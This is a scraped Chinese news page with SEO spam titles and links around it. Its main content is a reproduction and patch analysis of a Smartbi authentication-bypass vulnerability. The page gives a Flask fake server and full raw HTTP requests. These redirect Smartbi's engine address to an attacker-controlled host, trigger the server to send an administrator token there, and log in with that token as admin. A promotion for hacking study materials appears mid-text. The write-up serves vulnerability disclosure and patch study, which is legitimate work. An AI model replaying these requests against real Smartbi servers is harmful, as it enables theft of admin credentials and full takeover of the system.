当前位置: 首页 > news >正文

免费国外网站空间学校vi设计案例

免费国外网站空间,学校vi设计案例,做网站需要学会些什么,设计图室内效果图2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞#xff0c;获取管理员token#xff0c;完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析#xff0c;得到如下漏洞复现步骤 第一步#xff0c;设置Engi…2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞获取管理员token完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析得到如下漏洞复现步骤 第一步设置EngineAddress为攻击者机器上的http服务地址 首先使用python flask搭建一个fake server上面只注册了/api/v1/configs/engine/smartbitoken接口该接口返回一个json响应体 from flask import Flask,jsonify,requestapp Flask(__name__)app.route(/api/v1/configs/engine/smartbitoken,methods[POST]) def hello():print(request.json)return jsonify(hijello)if __name__ __main__:app.run(host0.0.0.0,port8000)使用如下poc设置EngineAddress为我们的fake server地址http://10.52.32.43:8000 POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 23http://10.52.32.43:8000第二步触发smartbi向我们刚刚设置的EngineAddress外发token 发送如下请求 POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 10experiment发送相关请求后即可在我们的fake server上面看到了携带token的请求 第三步使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082返回true表示登录成功其中的cookie就是合法的凭证 帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 0x02分析过程 阅读相关补丁可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关 更进一步查看RejectSmartbixSetAddress类修补的方式可知与smartbix.datamining.service.MonitorService类的getToken方法有关该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。 分析smartbix.datamining.service.MonitorService类 从头部的注解可知该类下的所有路由都不需要认证即可访问 定位到getToken方法 该方法对应的路由的/token,方法内部生成一个token并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS 这意味着只要ENGINE_ADDRESS可控那么我们就能获取到一个合法的token 由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法 可知该方法可以未授权配置ENGINE_ADDRESS 那意味着只需要调用/smartbix/api/monitor/setServiceAddress接口将ENGINE_ADDRESS设置为我们可控的伪造服务器那么就可以从请求报文中获取到token。 这个位置经过尝试发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口并且响应内容为json) 获取完token后就可调用/smartbix/api/monitor/login方法进行登录 0x03其他说明 上述只说明了设置ENGINE_ADDRESS利用的情况设置SERVICE_ADDRESS进行利用的步骤也和上述类似
http://www.hkea.cn/news/14461952/

相关文章:

  • 广州番禺网站推广WordPress打开加载太慢
  • 中英文网站后台摄影作品发布平台
  • 网站编辑给续南明做的封面wordpress统一网站图片大小
  • 外贸机械网站建设wordpress百万文章
  • 网站控制板面网页设计简单的网站
  • 做网站西域数码阿里云校园网站建设的维护
  • 宠物网站页面设计简笔深圳设计网站招聘
  • nat123做视频网站网站建站建设怎么做
  • 全flash网站下载建设银行网站入口
  • 济南建设监理协会网站北京鑫旺路桥建设有限公司网站
  • 湖南省网站备案做网站的作文
  • 福州做网站软件门户网站开发的背景和意义
  • 河北住房与城乡建设部网站wordpress 转移本地
  • 比较有名的diy制作网站广西百度推广
  • 济南网站建设工资网站运行费用
  • 网站建设与管理案例柳洪轶问道手游代理平台
  • 网站建设有用吗自己制作网页怎么制作的
  • 网站建设大赛东莞常平核酸检测点
  • wordpress网站分享微信群佛山市专注网站建设报价
  • wordpress搭建多个购物网站网络营销常用工具有哪些?
  • 手机上的网站是怎么做的承德市兼职网招聘信息
  • 厦门自己建网站免费加入微商代理
  • 网站建设款计入哪个会计分录济南网站建设全包
  • 代做原创毕业设计网站想学软件编程 哪个学校好啊
  • 建个人网站要多少钱成都古怪科技网站建设公司
  • 单位网站查询工资链接怎么做盱眙在仕德伟做网站的有几家
  • 找人做一个网站需要花多少钱到国外网站上做兼职翻译
  • 山西省财政厅门户网站三基建设专栏排行网页游戏
  • e2ee网站开发微信wordpress提醒
  • 建企业网站一般多少钱平武移动网站建设